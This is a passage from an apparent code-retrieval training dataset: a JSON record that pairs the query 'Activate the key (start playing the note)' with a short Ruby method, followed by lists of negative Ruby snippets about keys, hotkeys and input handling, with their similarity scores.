end", "def key?(key); end", "def key?(key); end", "def key?(key); end", "def wiped?\n read['keygap'].nil?\n end", "def key_valid?\n token_valid? and @key\n end", "def key?(key, options = {})\n if @backend.exists(key)\n update_expires(key, options, nil)\n true\n else\n false\n end\n end", "def active?(key)\n @counter[key] > 0\n end", "def expired_kalive?(key, time)\n if !@keys.key?(key)\n return false\n end\n \n if Time.now.to_i - @keys[key][:st] > time\n puts \"Expired key due to not received keepalive within #{time} seconds : #{key}\"\n return true\n end\n\n false\n end", "def get(key)\n if @memory[key]\n if @memory[key].isAlive(currentTime: Time.now)\n @memory[key]\n else\n @memory.delete(key)\n false\n end\n else\n false\n end\n end", "def unlocked?\n @unlocked\n end", "def pressed?() sdl_event.press end", "def has_key?(key)\n (@stack.length - 1).downto(0).each do |i|\n return true if @stack[i].key? key\n end\n false\n end", "def release(key, value)\n return\n end", "def locked?(key)\n raise NotImplementedError\n end", "def unlocked?\n !locked?\n end", "def upcase?\r\n\t\treturn !press?(:SHIFT) if GetCapState.call(VALUES[:CAPS]) == 1\r\n\t\treturn true if press?(:SHIFT)\r\n\t\treturn false\r\n\tend", "def expire(key)\n true\n end", "def inside?(key)\n @counter[key] > 0\n end", "def key?(*) end", "def has_key? key\n @lock.read_sync{ @data.has_key? key }\n end", "def if_needs_rekey?; end", "def verified?\n key == '1'\n end", "def has_key?(key)\n @stored[key] && !@stored[key].empty? ? true : false\n end", "def trigger?\n !key.nil? && !key.name.nil?\n end", "def trigger? key=:any\n return @data.include? :down if key == :any\n @data[key] == :down\n end", "def held?\n status == 'Held'\n end", "def held?\n status == 'Held'\n end", "def key?(key)\n return false if key.nil?\n return true if self.class.mutable? && mutations.key?(key)\n\n respond_to?(key) || fallback_data.key?(key)\n end", "def trigger?(key)\r\n\t\treturn ow_dt_i_trigger(key) if !VALUES.has_key?(key)\r\n\t\tcount = KeyRepeatCounter[key]\r\n\t\treturn ((count == 0) or (count.nil? ? key_pressed?(key) : false))\r\n\tend", "def key?(key)\n key = to_key key\n @group.key? key\n end" ]
[ "0.8209997", "0.7825162", "0.7393747", "0.70009273", "0.69763756", "0.69349414", "0.6885691", "0.68635404", "0.6858544", "0.67356753", "0.67356753", "0.6674242", "0.664519", "0.66443205", "0.6596986", "0.65843344", "0.6564157", "0.6544072", "0.6518803", "0.6516688", "0.65092754", "0.65039593", "0.6475144", "0.6469955", "0.64613223", "0.64611626", "0.6461066", "0.64203215", "0.6305015", "0.62808865", "0.6267755", "0.62615937", "0.6257242", "0.6245631", "0.62344474", "0.62286305", "0.61795706", "0.6166838", "0.6135812", "0.61277544", "0.6117166", "0.60465467", "0.60395366", "0.60390633", "0.6038061", "0.60281944", "0.60272324", "0.60213006", "0.6005174", "0.6001746", "0.5951744", "0.5951744", "0.5940787", "0.59406257", "0.58988386", "0.58808255", "0.58692217", "0.58614683", "0.5854525", "0.5854525", "0.58350664", "0.5832731", "0.58255637", "0.5812017", "0.5765696", "0.5758837", "0.5750619", "0.57490104", "0.57490104", "0.57490104", "0.57490104", "0.57490104", "0.57490104", "0.57292897", "0.5724937", "0.57021517", "0.5696775", "0.56964666", "0.5696163", "0.5679288", "0.56682646", "0.56658053", "0.5648948", "0.5623622", "0.56137305", "0.56055105", "0.55990297", "0.5596282", "0.5590464", "0.5588965", "0.5555616", "0.5549534", "0.55441916", "0.5542109", "0.55047774", "0.5487262", "0.5487262", "0.54793435", "0.54791415", "0.54751325" ]
0.66479146
12
Activate the key (start playing the note).
def on(attack, sustain, pitch = @current_pitch) @handler.on(attack,sustain,pitch) activate end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def activateKey _args\n \"activateKey _args;\" \n end", "def activate_tab_with_key_press(key, *modifiers)\n wait_start\n # TODO: FIXME. key_down and up are not yet implemented on mac and windows\n if linux?\n key_down_direct(key,*modifiers)\n key_up_direct(key, *modifiers)\n else\n key_press_direct(key, *modifiers)\n end\n wait_for_window_activated(\"Document Window\")\n end", "def activate_tab_with_key_press(key, *modifiers)\n wait_start\n # TODO: FIXME. key_down and up are not yet implemented on mac and windows\n if linux? \n key_down(key,*modifiers)\n key_up(key, *modifiers)\n else\n key_press_direct(key, *modifiers)\n end\n wait_for_window_activated(\"Document Window\")\n end", "def press_key(letter)\n advance_rotors\n @plugboard.translate(letter)\n end", "def activate_held(key)\n key_down.deactivate(key)\n key_held.activate(key) unless key_held.send(key)\n key_up.deactivate(key)\n end", "def activate_up(key)\n key_down.deactivate(key)\n key_held.deactivate(key)\n key_up.activate(key)\n end", "def activate()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.HotkeySystem_activate(@handle.ptr)\n end", "def press(key_sequence)\n end", "def activate_down(key)\n key_down.activate(key)\n key_held.deactivate(key)\n key_up.deactivate(key)\n end", "def left_key\n @choice = @choice > 1 ? @choice - 1 : 1\n @choice_sound.play(1, 0.5, false)\n end", "def keypress &block\n @keyblock = block\n end", "def activate\r\n # puts 'activate'\r\n @@activated = true\r\n @suspended = false\r\n @user_esc = false\r\n @cancel_reason = nil\r\n @enable_redraw = true\r\n end", "def show_single_key\n system(\"clear\")\n board.render\n\n c = read_char\n\n case c\n when \"\\e[A\"\n # puts \"UP ARROW\"\n board.selected_pos[0] -= 1 unless board.selected_pos[0] < 1\n when \"\\e[B\"\n board.selected_pos[0] += 1 unless board.selected_pos[0] > 7\n # puts \"DOWN ARROW\"\n when \"\\e[C\"\n board.selected_pos[1] += 1 unless board.selected_pos[1] > 7\n # puts \"RIGHT ARROW\"\n when \"\\e[D\"\n board.selected_pos[1] -= 1 unless board.selected_pos[1] < 1\n # puts \"LEFT ARROW\"\n when \"r\"\n make_move(board.selected_pos,\"r\")\n when \"f\"\n make_move(board.selected_pos,\"f\")\n when \"s\"\n save?\n end\n end", "def pressKeyToContinue\n puts \"\\n-- press any key to continue --\"\n gets\nend", "def open_window_with_key_press(win_name, key, *modifiers)\n wait_start\n key_press_direct(key, *modifiers)\n wait_for_window_shown(win_name)\n end", "def open_window_with_key_press(win_name, key, *modifiers)\n wait_start\n key_press_direct(key, *modifiers)\n wait_for_window_shown(win_name)\n end", "def up_key\n @last = @choice\n @choice = (@choice > 0 ? @choice -= 1 : 2)\n @choice_sound.play(1, 0.5, false)\n end", "def key_press locator, keycode\r\n command 'keyPress', locator, keycode\r\n end", "def key_press locator, keycode\r\n command 'keyPress', locator, keycode\r\n end", "def initial_setup_pause\n puts\n say \"Thanks, #{human.name}, I have everything I need to get started.\\n\" \\\n \"Please hit any key when you are ready to begin.\"\n getchar\n end", "def activate\n self.active = true\n end", "def activate\n Window.functions[__method__] ||= AU3_Function.new(\"WinActivate\", 'SS')\n Window.functions[__method__].call(@title.wide, @text.wide)\n active?\n end", "def start(key, name = nil)\n each_var(key, name) {|var| var.active = true}\n end", "def press_keycode(key, metastate: [], flags: [])\n @bridge.press_keycode(key, metastate: metastate, flags: flags)\n end", "def press_keycode(key, metastate: [], flags: [])\n @bridge.press_keycode(key, metastate: metastate, flags: flags)\n end", "def activate!\n @active = true\n end", "def load_page_with_key_press(key, *modifiers)\n wait_start\n key_press_direct(key, *modifiers)\n wait_for_window_loaded(\"\")\n end", "def load_page_with_key_press(key, *modifiers)\n wait_start\n key_press_direct(key, *modifiers)\n wait_for_window_loaded(\"\")\n end", "def hotkey=(key)\n @link.HotKey = key\n end", "def show_single_key\n c = read_char\n\n case c\n when \" \"\n pickUpItem()\n when \"i\"\n showInventory\n when \"m\"\n showMap\n when \"v\"\n inspectSurroundings\n puts \"working\"\n when \"q\"\n system ('clear && printf \"\\e[3J\"') or system (\"cls\")\n exit 0\n when \"k\"\n gameOver\n when \"\\e[A\"\n move(c)\n when \"\\e[B\"\n move(c)\n when \"\\e[C\"\n move(c)\n when \"\\e[D\"\n move(c)\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n end\nend", "def play_letter(letter, y = @cursor.y, x = @cursor.x)\n @moves.add(current_player, modify_letter_input(letter), y, x)\n end", "def open_menu_with_key_press(menu_name, key, *modifiers)\n wait_start\n key_press_direct(key, *modifiers)\n wait_for_menu_shown(menu_name)\n end", "def activate\n @active = true\n end", "def on_key(ch)\n end", "def rekey!; end", "def rekey!; end", "def getch\n\n end", "def pro_activate\n set_activate\n end", "def activate!(key)\n @context_mutex.synchronize do\n raise \"Context already activated\" if @saved_context\n raise \"Context for given key doesn't exist\" unless (ctx = @contexts[key])\n @saved_context = @current_context\n @current_context = ctx\n @saved_context # returns the pre-activation context.\n end\n end", "def interact\n if not e_pause\n if interactable.is_a?(Chest)\n if @keys > 0 and interactable.locked\n interactable.unlock\n @keys -= 1\n @e_pause = true\n end\n end\n end\n end", "def prepare_for_immediate_keypress\n\t\t\t@initial_input_ready = true\n\t\t\tself.setCursorPosition(0)\n\t\t\tself.grabKeyboard\n\t\tend", "def handle_key ch\n if ch == 32\n toggle\n else\n super\n end\n end", "def activate\n model = Sketchup.active_model\n if Sketchup.version.to_i > 6\n model.start_operation('Sketchy Replay', true)\n else\n model.start_operation('Sketchy Replay')\n end\n model.active_view.animation = self\n end", "def isKeyActive _args\n \"isKeyActive _args;\" \n end", "def getch\n map_key(key_press)\n end", "def press_any_key\n # TODO: Print footer.\n get_wch\n end", "def press_key(criteria,element,key)\r\n\t\t\tputs key\r\n\t\t\t@driver.find_element(criteria.to_sym, element).send_keys [:control, 'a'], key.to_sym\r\n\t\t\tsleep 1\r\n\t\t\t#http://www.rubydoc.info/gems/selenium-webdriver/Selenium/WebDriver/Keys#KEYS-constant\r\n\t\tend", "def activate!(keys: [])\n establish_bindings!\n keys.each { |key| add_routing_key(key) }\n end", "def activate\n true\n end", "def key(k, x, y)\n case k\n when ?z\n @view_rotz += 5.0\n when ?Z\n @view_rotz -= 5.0\n when 27 # Escape\n exit\n end\n glutPostRedisplay()\n end", "def key(k, x, y)\n case k\n when ?z\n @view_rotz += 5.0\n when ?Z\n @view_rotz -= 5.0\n when 27 # Escape\n exit\n end\n glutPostRedisplay()\n end", "def key_bindings\n super\n @root.bind('u', proc {@board.rotate_clockwise\n @board.rotate_clockwise})\n @root.bind('c', proc {@board.call_cheat})\n end", "def updateKeys\n\t\tif !@keysPressed.empty?\n\t\t\tkey = @keysPressed.pop\n\t\t\t@keysPressed.push(key)\n\t\t\tcase key.to_s\n\t\t\twhen \"t\" \n\t\t\t\t@nextGameState = Map1.new(@screen, @hero)\n\t\t\tend\n\t\tend\n\tend", "def activate\n change, @active, @acknowledged = !@active, true, false\n update_timestamp if change\n change\n end", "def process_keyboard\n ACCEPTED_KEYS.each {|key|\n if Input.repeat?(key[0])\n c = (key[0] != :kSPACE) ? Keyboard.add_char(Ascii::SYM[key[0]]) : \" \"\n process_add(c)\n #Sound.play_ok\n play_random_key_sound\n end\n }\n end", "def ctrl_l() send_keys(:ctrl_l) end", "def in_key_context!\n self.each do |tone| \n tone.tone = (tone.tone + key.index) #% 12\n tone.letter_index = (tone.letter_index + key.letter_index) % 7\n end\n true\n end", "def down_key\n @last = @choice\n @choice = (@choice < 2 ? @choice += 1 : 0)\n @choice_sound.play(1, 0.5, false)\n end", "def activate\n @r.activate\n end", "def on_keydown(key, view, active_ip, reference_ip = active_ip)\n if key == CONSTRAIN_MODIFIER_KEY\n try_lock_constraint(view, active_ip)\n else\n try_lock_axis(key, view, reference_ip)\n end\n end", "def key_up(key)\n focus\n @driver.sc_key_up action_target, key, *action_locator_args\n stall :key_up\n end", "def check_selected_key\n key = @input_window.selected_key\n if key == 0\n return_scene\n else\n $game_system.xinput_key_set[@keys_window.item] = key\n @keys_window.refresh\n @keys_window.activate\n end\n end", "def setup_input\n set_keys(KbEscape => :close,\n KbF1 => [:toggle_text, false],\n KbF2 => [:debug!, false],\n KbF3 => [:pause!, false])\n end", "def show_single_key\n c = read_char\n \n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts @cursor_pos\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n \n\n when \"\\e[A\" ##up\n print \"\\033[1A\\033\"\n @cursor_pos[1] -= 1\n when \"\\e[B\" ##down\n print \"\\033[1B\\033\"\n @cursor_pos[1] += 1\n when \"\\e[C\" ##right\n print \"\\033[1C\\033\"\n @cursor_pos[0] += 1\n when \"\\e[D\" ##left\n print \"\\033[1D\\033\"\n @cursor_pos[0] -= 1\n \n\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when \"f\"\n puts \"flag\"\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n\n #p @cursor_pos\nend", "def canBecomeKeyWindow\n true\n end", "def canBecomeKeyWindow\n true\n end", "def getchar\n getch\n end", "def control_key_down\r\n command 'controlKeyDown'\r\n end", "def victory_screen\n system \"clear\"\n b = Artii::Base.new\n # puts\n puts \"------------------------------ VICTORY -------------------------------\"\n puts\n puts b.asciify(\" YOU WON !\")\n puts \"------------------------ PRESS ANY KEY TO CONTINUE --------------------------\"\n STDIN.getch\n print \" \\r\" # extra space to overwrite in case next sentence is short\nend", "def _activate\n\t\t\tend", "def any_key\n puts \"\"\n puts \"Press any key to continue..\"\n STDIN.getch\n end", "def ime_activate(ime_name)\n ime.activate(ime_name)\n end", "def cmd_keyscan_start(*args)\n\t\tprint_line(\"Starting the keystroke sniffer...\")\t\n\t\tclient.ui.keyscan_start\n\t\treturn true\n\tend", "def key_press *args\n\t\t\tevent(:key_press, *args)\n\t\tend", "def player_show_alph\n\t\t@letter_track.each_key{|key| puts key}\n\tend", "def cmd_keyscan_start(*args)\n\t\tprint_line(\"Starting the keystroke sniffer...\")\n\t\tclient.ui.keyscan_start\n\t\treturn true\n\tend", "def bindkey_ext_command\n print\n pbold 'Bind a capital letter to an external command'\n print 'Enter a capital letter to bind: '\n key = get_char\n return if key == 'Q'\n\n if /^[A-Z]$/.match?(key)\n print \"Enter an external command to bind to #{key}: \"\n com = gets.chomp\n if com != ''\n print 'Enter prompt for command (blank if same as command): '\n pro = gets.chomp\n pro = com if pro == ''\n end\n print 'Pause after output [y/n]: '\n yn = get_char\n @bindings[key] = \"command_file #{pro} #{yn} #{com}\"\n end\nend", "def ctrlActivate _args\n \"ctrlActivate _args;\" \n end", "def onKeyDown(key, repeat, flags, view)\n #puts \"onKeyDown: #{key}, #{flags}\"\n return if repeat > 1\n self.set_flags flags\n \n case( key )\n when VK_LEFT\n @keys |= LEFT_ARROW\n when VK_RIGHT\n @keys |= RIGHT_ARROW\n when VK_UP\n @keys |= UP_ARROW\n when VK_DOWN\n @keys |= DOWN_ARROW\n when '+'[0]\n @@speed += 1.0\n when '-'[0]\n @@speed -= 1.0\n @@speed = 1.0 if @@speed < 1.0\n else\n return\n end\n @speedx = @@speed\n @speedy = @@speed\n \n # get the distance from the camera to what we are looking at to control the speed\n @distance_to_target = self.guess_target_distance view\n \n view.animation = self\n view.dynamic = 3\nend", "def onKeyDown( *args )\r\n capture = relay_event( :onKeyDown, args )\r\n relay_event( :onSetCursor, [] )\r\n capture\r\n end", "def add(key)\n cmd = \"input keyevent #{map_key(key)};\"\n @sequence == \"\" ? @sequence = cmd : @sequence = @sequence + cmd\n end", "def deActivateKey _args\n \"deActivateKey _args;\" \n end", "def press key, options = {}\n key = 'Return' if key == 'ENTER'\n widget = options[:in] || Gtk::Window.toplevels.first\n event = Gdk::EventKey.new(Gdk::Event::KEY_PRESS)\n event.window = widget\n event.state |= Gdk::Window::CONTROL_MASK if key =~ /CTRL+/\n event.state |= Gdk::Window::MOD1_MASK if key =~ /ALT+/\n event.state |= Gdk::Window::SHIFT_MASK if key =~ /SHIFT+/\n event.keyval = Gdk::Keyval.from_name(key.split('+').last)\n widget.grab_focus\n event.send_event = true\n entry = Gdk::Keymap.default.get_entries_for_keyval(event.keyval).first\n event.hardware_keycode = entry[0]\n widget.signal_emit('key_press_event', event)\n process_events\nend", "def keypress(key = nil, name = nil)\n Vedeu.trigger(:key, key)\n\n return false unless key\n\n new(key, name).keypress\n end", "def change_keyboard_control! (**hash)\n super(*value_param(KB, hash))\n end", "def bind_termcap_arrow_keys(map)\r\n xkeymap = @_rl_keymap\r\n @_rl_keymap = map\r\n\r\n rl_bind_keyseq_if_unbound(@_rl_term_ku, :rl_get_previous_history)\r\n rl_bind_keyseq_if_unbound(@_rl_term_kd, :rl_get_next_history)\r\n rl_bind_keyseq_if_unbound(@_rl_term_kr, :rl_forward_char)\r\n rl_bind_keyseq_if_unbound(@_rl_term_kl, :rl_backward_char)\r\n\r\n rl_bind_keyseq_if_unbound(@_rl_term_kh, :rl_beg_of_line) # Home\r\n rl_bind_keyseq_if_unbound(@_rl_term_at7, :rl_end_of_line) # End\r\n\r\n rl_bind_keyseq_if_unbound(@_rl_term_kD, :rl_delete)\r\n rl_bind_keyseq_if_unbound(@_rl_term_kI, :rl_overwrite_mode)\r\n\r\n @_rl_keymap = xkeymap\r\n end", "def on_key(&block)\n @on_key = block\n end", "def bindkey_ext_command\n print \n pbold \"Bind a capital letter to an external command\"\n print \"Enter a capital letter to bind: \"\n ch = get_char\n return if ch == \"Q\"\n if ch =~ /^[A-Z]$/\n print \"Enter an external command to bind to #{ch}: \"\n com = gets().chomp\n if com != \"\"\n print \"Enter prompt for command (blank if same as command): \"\n pro = gets().chomp\n pro = com if pro == \"\"\n end\n print \"Pause after output [y/n]: \"\n yn = get_char\n $bindings[ch] = \"command_file #{pro} #{yn} #{com}\"\n end\nend", "def getch\n @window.getch\n end", "def in_key_context!\n\t\tself.each do |tone| \n\t\t\ttone.tone = (tone.tone + key.index) % 12\n\t\t\ttone.letter_index = (tone.letter_index + key.letter_index) % 7\n\t\tend\n\t\ttrue\n\tend", "def show_single_key\n c = read_char\n\n case c\n when \" \"\n RTermGame.println \"SPACE\"\n when \"\\t\"\n RTermGame.println \"TAB\"\n when \"\\r\"\n RTermGame.println \"RETURN\"\n when \"\\n\"\n RTermGame.println \"LINE FEED\"\n when \"\\e\"\n RTermGame.println \"ESCAPE\"\n when \"\\e[A\"\n RTermGame.println \"UP ARROW\"\n when \"\\e[B\"\n RTermGame.println \"DOWN ARROW\"\n when \"\\e[C\"\n RTermGame.println \"RIGHT ARROW\"\n when \"\\e[D\"\n RTermGame.println \"LEFT ARROW\"\n when \"\\177\"\n RTermGame.println \"BACKSPACE\"\n when \"\\004\"\n RTermGame.println \"DELETE\"\n when \"\\e[3~\"\n RTermGame.println \"ALTERNATE DELETE\"\n when \"\\u0003\"\n RTermGame.println \"CONTROL-C\"\n exit 0\n when /^.$/\n RTermGame.println \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n RTermGame.println \"SOMETHING ELSE: #{c.inspect}\"\n end\nend", "def process_up\n Sound.play_cursor\n Input.update\n deactivate\n call_cancel_handler\n end", "def key(k, x, y)\n case k\n when 27 # Escape\n exit\n end\n GLUT.PostRedisplay()\n end", "def any_key\n puts \"\\n\\n Press any key to go back to the main menu\"\n $stdin.getch\n clear\nend", "def run\n start_key = self.display_instructions\n exit if start_key.downcase == \"q\"\n self.play_round until @board.won? || @board.lost?\n @board.lost? ? self.display_loss : self.display_win\n end", "def draw_key(key)\n x = Combo_Command_Position[key][0]\n y = Combo_Command_Position[key][1]\n if Input_Images\n bitmap = @images_bitmaps[Input.key_image(key)]\n self.contents.blt(x, y, bitmap, Rect.new(0, 0, 24, 24))\n else\n self.contents.draw_text(x, y, 24, 32, Input.key_converter(key))\n end\n end", "def press(key, delay: nil, text: nil)\n focus\n page.keyboard.press key, delay: delay, text: text\n end", "def activate_item\n @p.activate_item(self)\n end", "def handle_keys\n exit if SDL::Key.press? SDL::Key::ESCAPE\n exit if SDL::Key.press? SDL::Key::Q\n self.paused = !paused if SDL::Key.press? SDL::Key::P\n end", "def activate; end", "def key_listen\n Thread.new do\n loop do \n block = @key_bindings[get_character]\n puts block.call if block\n end\n end\n end" ]
[ "0.69630414", "0.6961573", "0.6936826", "0.6772868", "0.6769183", "0.67214245", "0.66111314", "0.62328696", "0.6216426", "0.616874", "0.61584663", "0.61438274", "0.60455644", "0.60190463", "0.5893018", "0.5893018", "0.5885528", "0.5877533", "0.5877533", "0.5848638", "0.5832208", "0.5831791", "0.581299", "0.57904917", "0.57904917", "0.5734978", "0.5695915", "0.5695915", "0.56892335", "0.56884116", "0.56714743", "0.56707746", "0.56667846", "0.56562144", "0.56520355", "0.56520355", "0.565034", "0.5647785", "0.56282556", "0.5626912", "0.5621017", "0.56170666", "0.5614897", "0.5606968", "0.55954826", "0.5590473", "0.5510502", "0.5491118", "0.54840463", "0.5475355", "0.5453659", "0.54477584", "0.54456365", "0.5440989", "0.5437667", "0.5429508", "0.54118395", "0.5399561", "0.5391433", "0.5388743", "0.53873324", "0.5380847", "0.53781897", "0.5378189", "0.53737634", "0.53737634", "0.53710663", "0.5365955", "0.53647614", "0.53647", "0.53628147", "0.53625906", "0.5357484", "0.535145", "0.5350024", "0.5339012", "0.5333284", "0.5329604", "0.5328468", "0.5327287", "0.53231615", "0.53124136", "0.5307583", "0.5306559", "0.52883387", "0.52785385", "0.5276506", "0.52745134", "0.52721226", "0.52630985", "0.5263032", "0.5261084", "0.5260403", "0.52521247", "0.52507573", "0.52477235", "0.5237377", "0.52341515", "0.52307695", "0.52287406", "0.5224882" ]
0.0
-1
Deactivate the key (stop playing the note altogether and at once).
def off @handler.off deactivate end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unbind_key keycode\n @_key_args.delete keycode unless @_key_args.nil?\n @_key_map.delete keycode unless @_key_map.nil?\n end", "def deactivate()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.HotkeySystem_deactivate(@handle.ptr)\n end", "def deActivateKey _args\n \"deActivateKey _args;\" \n end", "def activate_down(key)\n key_down.activate(key)\n key_held.deactivate(key)\n key_up.deactivate(key)\n end", "def down_key\n @last = @choice\n @choice = (@choice < 2 ? @choice += 1 : 0)\n @choice_sound.play(1, 0.5, false)\n end", "def hide_keyboard(strategy = :tapOutside, key = nil)\n opts = {}\n opts[:strategy] = strategy if strategy\n opts[:key] = key if key\n\n bridge.hide_keyboard opts\n end", "def stop(key, name = nil)\n each_var(key, name) {|var| var.active = false}\n end", "def activate_held(key)\n key_down.deactivate(key)\n key_held.activate(key) unless key_held.send(key)\n key_up.deactivate(key)\n end", "def clear\n @key_down.clear\n @key_up.clear\n @key_held.clear\n @active = nil\n end", "def down(key)\n key = normalize_keys(Array(key)).first\n type = key[:text] ? \"keyDown\" : \"rawKeyDown\"\n @page.command(\"Input.dispatchKeyEvent\", slowmoable: true, type: type, **key)\n self\n end", "def deactivate_previous_character\n previous_character&.deactivate\n end", "def disable_keyboard\n\t\treturn enable_keyboard(false)\t\n\tend", "def disable_keyboard\n\t\treturn enable_keyboard(false)\t\n\tend", "def deactivate\n @active = false\n end", "def deactivate\n \n end", "def releaseKey(key)\n\t\t@keysPressed.delete(key)\n\tend", "def hide_keyboard(close_key = nil, strategy = nil)\n @bridge.hide_keyboard close_key, strategy\n end", "def hide_keyboard(close_key = nil, strategy = nil)\n @bridge.hide_keyboard close_key, strategy\n end", "def deactivate; end", "def unbind(key)\n\t\t@bindings[key] = nil\n\tend", "def hide_keyboard\n self.get.sendAction(:resignFirstResponder, to:nil, from:nil, forEvent:nil)\n end", "def deactivate\n @active = false\n return\n end", "def deactivate()\n end", "def unpause\n @paused -= 1\n end", "def key_down(key)\n focus\n @driver.sc_key_down action_target, key, *action_locator_args\n stall :key_down\n end", "def _deactivate\n\t\t\tend", "def deactivate\n update(state: 'inactive')\n end", "def button_down(id)\n if id == Gosu::KbEscape\n close\n end\n if id == Gosu::KbO && (not @twoplayer)\n @twoplayer = true\n @player.second_player_mode\n end\n if id == Gosu::KbR && @game_over\n @ball.reset\n @score.reset\n @game_over = false\n end\n end", "def ime_deactivate\n @bridge.ime_deactivate\n end", "def key_released( event )\n @keys -= [event.key]\n end", "def deactivate!\n lease_state = lease.active? ? 'active' : 'expired'\n lease_record = lease_history_message(\n lease_state,\n Time.zone.today,\n lease.lease_expiration_date,\n lease.visibility_during_lease,\n lease.visibility_after_lease\n )\n\n release(force: true)\n nullify(force: true)\n lease.lease_history += [lease_record]\n end", "def deactivate(location_ext_key)\n debug(\"deactivate: #{location_ext_key}\")\n response = set_state(:deactivation, location_res(location_ext_key).location) if can_be_deactivated?(location_ext_key)\n location_res_to_map(response.data.location) if response\n end", "def disable_player_control\n @windows[Menu_Actor].active = false\n @cursor.mode = nil\n @cursor.active = false\n end", "def keyctrl_d(*)\n @stop = true\n end", "def deactivate!\n self.status = 'Inactive'\n nil\n end", "def key_down locator, keycode\r\n command 'keyDown', locator, keycode\r\n end", "def key_down locator, keycode\r\n command 'keyDown', locator, keycode\r\n end", "def cmd_keyscan_stop(*args)\n\t\tprint_line(\"Stopping the keystroke sniffer...\")\t\t\n\t\tclient.ui.keyscan_stop\n\t\treturn true\n\tend", "def cmd_keyscan_stop(*args)\n\t\tprint_line(\"Stopping the keystroke sniffer...\")\n\t\tclient.ui.keyscan_stop\n\t\treturn true\n\tend", "def removeHotkey(key, modifiers)\n Env.removeHotkey key, modifiers\n end", "def removeHotkey(key, modifiers)\n Env.removeHotkey key, modifiers\n end", "def deactivate!\n update(status: false)\n end", "def deactivate\n self.active = false\n save\n end", "def stop\n Prompt.restore\n Hook.unregister\n end", "def canBecomeKeyWindow\n false\n end", "def stop()\n if running?\n # stop sound then reset parameters in case they were previously changed\n %x{#{echo()} stop > #{fifo()}}\n system \"stty #{$app.old_stty}\" # restore stty settings\n end\n end", "def button_down(id)\n case id\n when Gosu::KbEnter, Gosu::KbReturn\n @paused = !@paused\n end\n end", "def deactivate\n copy self.class.deactivate(@id)\n true\n end", "def disable\n exclusively do\n @enabled = false\n @manual_toggle = true\n end\n\n save_state\n sync_control { stop_upkeep }\n end", "def dec(key)\n \n end", "def deactivate(parm=nil)\n\t\t\t raise \"Parameter not found: #{parm}\\n\" unless @parameters.has_key?(parm)\n\t\t\t\treturn set_active(parm, 0)\n\t\t\tend", "def unpause\n @service.context.post(@control_path, :action => 'unpause')\n self\n end", "def cursor_down(wrap = false)\n Sound.play_cursor\n Input.update\n deactivate\n call_handler(:down)\n end", "def ime_deactivate\n ime.deactivate\n end", "def deactivate\n last_state = @active\n @active = false\n return @active\n end", "def alt_key_down\r\n command 'altKeyDown'\r\n end", "def unbind\n @player.logout if @player\n @player = nil\n @connector = nil\n end", "def unbind\n @player.logout if @player\n @player = nil\n @connector = nil\n end", "def released( key )\n return KeyReleaseTrigger.new( key )\nend", "def release_keysequence(keysequence, delay = 0.012)\n XDo::FFILib.xdo_keysequence_up @_xdo_pointer, @_window, keysequence,\n (delay * 1_000_000).to_i\n end", "def deactivate\n return unless activate_btn.text.downcase == \"deactivate\"\n\n activate_btn.when_present.click\n\n @browser.div(:css => \".modal.deactivate-confirm\").when_present\n\n @browser.button(:css => \".modal.deactivate-confirm .btn-primary\").when_present.click\n\n @browser.wait_until { !active_icon.present? }\n end", "def handle_keys\n exit if SDL::Key.press? SDL::Key::ESCAPE\n exit if SDL::Key.press? SDL::Key::Q\n self.paused = !paused if SDL::Key.press? SDL::Key::P\n end", "def command_cancel\n Sound.play_decision\n return_scene\n end", "def deactivate\n self.activation_code = 'DEACTIVATED'\n self.activated_at = nil\n end", "def up_key\n @last = @choice\n @choice = (@choice > 0 ? @choice -= 1 : 2)\n @choice_sound.play(1, 0.5, false)\n end", "def deactivate\n if @active\n apply(ItemDeactivated.new(id))\n end\n end", "def disable(key)\n @status[key] = :disabled\n end", "def setup_input\n set_keys(KbEscape => :close,\n KbF1 => [:toggle_text, false],\n KbF2 => [:debug!, false],\n KbF3 => [:pause!, false])\n end", "def unbind( key )\n\t\tif key.is_a? Fixnum\n\t\t\t@root.bind( \"F#{key}\" ){ } \n\t\tend\n\tend", "def keyscan_stop\n\t\trequest = Packet.create_request('stdapi_ui_stop_keyscan')\n\t\tresponse = client.send_request(request)\n\t\treturn true\n\tend", "def activate_up(key)\n key_down.deactivate(key)\n key_held.deactivate(key)\n key_up.activate(key)\n end", "def button_down(id)\r\n if id == Gosu::KB_ESCAPE\r\n close\r\n else\r\n super\r\n end\r\n end", "def cancel_command()\n @command_window.active = true\n end", "def deactivate\n (self.class.deactivate_hooks + deactivate_hooks).each do |block|\n block.call self\n end\n end", "def inactivate_stop\n self.is_active = false\n self.send(:update_without_callbacks)\n end", "def action_b\n play_cancel_se\n @running = false\n end", "def deactivate(view)\n view.invalidate if @drawn\n end", "def unbind\n @lt2_mode ||= nil\n if @lt2_mode == :text and @lt2_textpos > 0\n receive_binary_data @lt2_textbuffer.join\n end\n end", "def equip_unselected\n Sound.play_cancel\n @equip_window.active = false\n @equip_window.index = -1\n @enchant_list.active = true\n @enchant_window.item = nil\n @enchant_window.scroll = nil\n @enchant_window.state = 0\n @enchant_window.scroll = nil\n end", "def key_release *args\n\t\t\tevent(:key_release, *args)\n\t\tend", "def unpause_processing_with_pause_key\n unpause_processing_without_pause_key\n Resque.redis.del(pause_key)\n end", "def deactivate\n permission_denied unless @chore.active\n @chore.update_attribute(:active, false)\n redirect_to chores_url, notice: \"Chore was successfully deactivated\"\n end", "def clear\n @keys_pressed.clear\n @keys_released.clear\n @keys_down.cleae\n end", "def ungetch(ch)\n Ncurses.ungetch(ch)\n end", "def cancel_menu_call\n if @main and $game_temp.next_scene == \"menu\" and $game_temp.menu_beep\n $game_temp.next_scene = nil\n 